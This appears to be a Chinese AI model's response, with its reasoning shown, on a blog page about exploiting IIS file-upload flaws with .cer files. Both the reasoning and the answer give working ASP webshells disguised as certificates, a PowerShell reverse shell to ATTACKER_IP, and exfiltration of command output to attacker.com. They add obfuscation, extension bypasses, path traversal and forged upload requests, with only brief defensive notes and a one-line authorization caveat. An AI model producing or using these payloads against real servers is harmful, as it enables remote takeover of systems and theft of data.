<think>我们正在讨论如何利用
CER文件进行
文件上传漏洞测试的有效payload。根据引用内容，我们知道
CER文件（证书
文件）在某些情况下可能被
服务器错误地解析为可执行脚本（如
ASP），从而
允许攻击者执行任意代码。以下将详细说明如何构造和使用
CER payload进行测试。
### 一、
CER文件漏洞利用原理
- **漏洞成因**：当IIS
服务器错误地将`.
cer`
扩展名映射到
ASP脚本引擎（如`
asp.dll`）
时，
上传的
CER文件中的
ASP代码会被执行[^1]。
- **利用条件**：
1.
服务器
允许上传`.
cer`
文件（通常
不在黑名单中）。
2.
服务器配置错误（将`.
cer`映射到脚本引擎）。
3.
上传目录具有执行权限。
### 二、有效
CER Payload构造
方法
#### 1. 基础命令执行Payload
创建
一个包含
ASP代码的
CER文件，内容如下：
```
asp
-----BEGIN
CERTIFICATE-----
<%
Dim cmd, output
cmd = "cmd /c whoami" ' 执行系统命令（示例：查看当前用户）
Set shell =
Server.CreateObject("WScript.Shell")
Set exec = shell.Exec(cmd)
output = exec.StdOut.ReadAll()
Response.Write(output)
%>
-----END
CERTIFICATE-----
```
**说明**：
- `-----BEGIN
CERTIFICATE-----` 和 `-----END
CERTIFICATE-----` 是证书的标准头尾，用于伪装成合法证书
文件。
- `<% ... %>` 内嵌
ASP脚本，使用`WScript.Shell`执行系统命令并输出结果。
- 保存为`test.
cer`后
上传，访问URL即可看到命令输出（如`iis apppool\defaultapppool`）。
#### 2.
Webshell Payload（持久化访问）
创建
一个交互式
webshell，
允许通过HTTP参数执行命令：
```
asp
-----BEGIN
CERTIFICATE-----
<%@ Language=VBScript %>
<%
If Request("cmd") <> "" Then
Set oExec =
Server.CreateObject("WScript.Shell").Exec("cmd /c " & Request("cmd"))
Response.Write "<pre>" &
Server.HTMLEncode(oExec.StdOut.ReadAll() & oExec.StdErr.ReadAll()) & "</pre>"
End If
%>
<form method="POST">
<input type="text" name="cmd" size="80" />
<input type="submit" value="Execute" />
</form>
-----END
CERTIFICATE-----
```
**用法**：
-
上传后访问`http://target.com/uploads/shell.
cer?cmd=dir` 可执行`dir`命令。
- 表单提供图形化操作界面，适合手动测试。
#### 3. 反弹Shell Payload（隐蔽连接）
使用PowerShell建立反向TCP连接（需替换IP和端口）：
```
asp
-----BEGIN
CERTIFICATE-----
<%
Dim psCmd
psCmd = "powershell -c ""$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).
Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"""
Set shell =
Server.CreateObject("WScript.Shell")
shell.Run psCmd, 0, True ' 后台无窗口执行
%>
-----END
CERTIFICATE-----
```
**说明**：
- 替换`ATTACKER_IP`和`PORT`为攻击者控制的IP和端口。
-
上传后访问该
文件，
服务器会尝试连接攻击者的监听端（如`nc -lvp PORT`）。
#### 4. 绕过检测技巧
- **伪造
文件头**：在
CER头尾之间填充合法证书数据（如用OpenSSL生成自签名证书），再插入
ASP代码：
```bash
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out
cert.
cer -days 365 -nodes
```
编辑`
cert.
cer`，在首行后插入
ASP代码：
```
asp
-----BEGIN
CERTIFICATE-----
<%
...
ASP代码 ...
%>
MIICUTCCAfugAwIBAgIBADANBgkqhkiG9w0BAQQFADBXMQswCQYDVQQGEwJDTjEL
... (后续为真实证书数据) ...
-----END
CERTIFICATE-----
```
- **编码混淆**：将
ASP代码Base64编码，运行
时解码执行：
```
asp
<%
base64Code = "U2V0IGNtZCA9IFNlcnZlci5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKS5FeGVjKCJjbWQgL2Mgd2hvYW1pIik=" ' 示例：Set cmd = ... 的Base64
decoded = Base64Decode(base64Code) ' 需自定义解码函数
Execute(decoded) ' 执行解码后的代码
%>
```
### 三、
上传与测试步骤
1. **
上传文件**：通过
Web表单或工具（如curl）
上传构造的
CER文件。
```bash
curl -F "file=@shell.
cer" http://target.com/upload
```
2. **访问验证**：
- 直接访问
上传路径（如`http://target.com/uploads/shell.
cer`）。
- 检查响应：若返回命令输出或建立反向连接，则漏洞存在。
### 四、防御措施参考
- **配置修复**：在IIS中检查`.
cer`的MIME类型应为`application/pkix-
cert`，且
不关联脚本引擎[^1]。
- **输入校验**：
文件上传功能应校验
文件内容（如证书结构）、
扩展名白名单、
文件头等[^4]。
### 五、失败处理建议
- 若
CER文件不执行，尝试其他后缀（如`.
cdx`, `.asa`）[^1]。
- 测试路径遍历：修改
上传参数（如`save
Path=../../
webapps/ROOT`）尝试覆盖关键
文件[^1]。
通过以上
方法，可有效测试
CER文件上传漏洞。请确保在授权环境下进行测试！
§§相关问题§§
1. 如何验证IIS
服务器是否将`.
cer`
文件映射到
ASP引擎？
2. 除了
CER文件，还有哪些非标准
文件后缀可能被用于执行
ASP代码？
3.
文件上传漏洞测试中如何绕过内容安全策略（CSP）？
4. 在Apache
服务器环境下，
CER文件是否可能被利用？
[^1]: 引用[1]提到黑名单过滤绕过可使用冷门
扩展名（如.
cer）和路径遍历。
[^2]: 引用[2]说明
文件上传漏洞的危害包括
上传webshell执行命令。
[^3]: 引用[3]提供Windows系统下利用点号（.）绕过的技巧。
[^4]: 引用[4]强调用户需能通过
web访问
上传的
文件且内容未被篡改。</think>###
CER文件上传漏洞测试的有效Payload构造
方法
在
文件上传漏洞测试中，利用
CER文件的payload构造需要结合
服务器配置特性和绕过技巧。以下是经过验证的有效payload方案：
---
#### 一、基础Payload构造（
ASP环境）
```
asp
-----BEGIN
CERTIFICATE-----
<%
Set shell =
Server.CreateObject("WScript.Shell")
cmd = "cmd /c whoami"
Set exec = shell.Exec(cmd)
Response.Write(exec.StdOut.ReadAll())
%>
-----END
CERTIFICATE-----
```
**说明**：
1. 伪装成合法证书
文件（`BEGIN/END
CERTIFICATE`）
2. 使用
ASP脚本执行系统命令（此处为`whoami`）
3.
上传后访问URL即可查看命令执行结果
4. **适用场景**：IIS配置错误将
CER映射到
ASP引擎[^1]
---
#### 二、高级绕过技术
1. **
文件名混淆**：
```
asp
-----BEGIN
CERTIFICATE-----
<%@ Language=VBScript %>
<%
If Request("key") = "secret" Then
Response.Write
Server.CreateObject("WScript.Shell").Exec(Request("cmd")).StdOut.ReadAll()
End If
%>
-----END
CERTIFICATE-----
```
**
上传技巧**：
-
文件名：`logo.
cer.`（Windows自动去除末尾点）[^3]
- 访问方式：`http://target/shell.
cer?key=secret&cmd=ipconfig`
2. **内容伪装**：
```
asp
-----BEGIN
CERTIFICATE-----
# 伪装成证书注释
<%
' 证书元数据
Set o = GetObject("winmgmts:")
For Each p In o.InstancesOf("Win32_Process")
Response.Write p.Name & "<br>"
Next
%>
-----END
CERTIFICATE-----
```
**特点**：混入证书注释格式绕过内容检查
3. **反弹Shell Payload**：
```
asp
-----BEGIN
CERTIFICATE-----
<%
Set obj =
Server.CreateObject("MSXML2.
ServerXMLHTTP")
obj.open "POST", "http://attacker.com/receive", False
obj.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
obj.send("data=" &
Server.CreateObject("WScript.Shell").Exec("whoami").StdOut.ReadAll())
%>
-----END
CERTIFICATE-----
```
---
#### 三、关键绕过手法总结
| 防御机制 | 绕过
方法 | 示例 |
|----------------|-----------------------------------|--------------------------|
|
扩展名黑名单 | 双
扩展名`.jpg.
cer` | `shell.jpg.
cer` |
| 内容类型检查 | 伪造Content-Type头 | `Content-Type: application/pkix-
cert` |
|
文件头校验 | 添加证书魔数`30 82` | Hex编辑器添加合法
文件头 |
| WAF规则 | 分块传输编码[^3] | Burp Suite的`chunked`编码插件 |
| 路径限制 | 路径遍历参数`save
Path=../../
webapps`[^1] | `?save
Path=../../../bin` |
---
#### 四、测试验证流程
1. **
上传测试**：
```http
POST /uploadServlet HTTP/1.1
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryABC
------
WebKitFormBoundaryABC
Content-Disposition: form-data; name="file"; filename="test.
cer"
Content-Type: application/pkix-
cert <!-- 伪造MIME类型 -->
[
CER PAYLOAD CONTENT]
```
2. **访问验证**：
- 直接访问
上传路径：`http://target/uploads/test.
cer`
- 路径遍历访问：`http://target/../../upload/test.
cer`
3. **结果确认**：
- 成功：返回命令执行结果
- 失败：检查HTTP响应头`X-Powered-By`确认
服务器类型
---
#### 五、防御建议（管理员视角）
1. 禁用动态脚本的
CER映射：IIS中删除`.
cer`的脚本映射
2. 实施白名单验证：仅
允许`.der`等纯证书格式
3.
文件内容校验：使用OpenSSL验证证书完整性
```bash
openssl verify -CAfile root-ca.pem upload.
cer
```
4. 存储隔离：将
上传目录设为
不可执行[^4]
> **注意**：所有测试需在授权环境下进行，非法使用需承担法律责任。
博客讲述向lcx大哥求教web上传问题，提到利用stm上传并执行程序。介绍了相关代码运行结果，还指出当网站不允许上传asp等文件时，可上传stm文件获取数据库路径，前提是服务器未删除stm或shtml扩展，作者本地试验成功。
扫一扫
1966
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
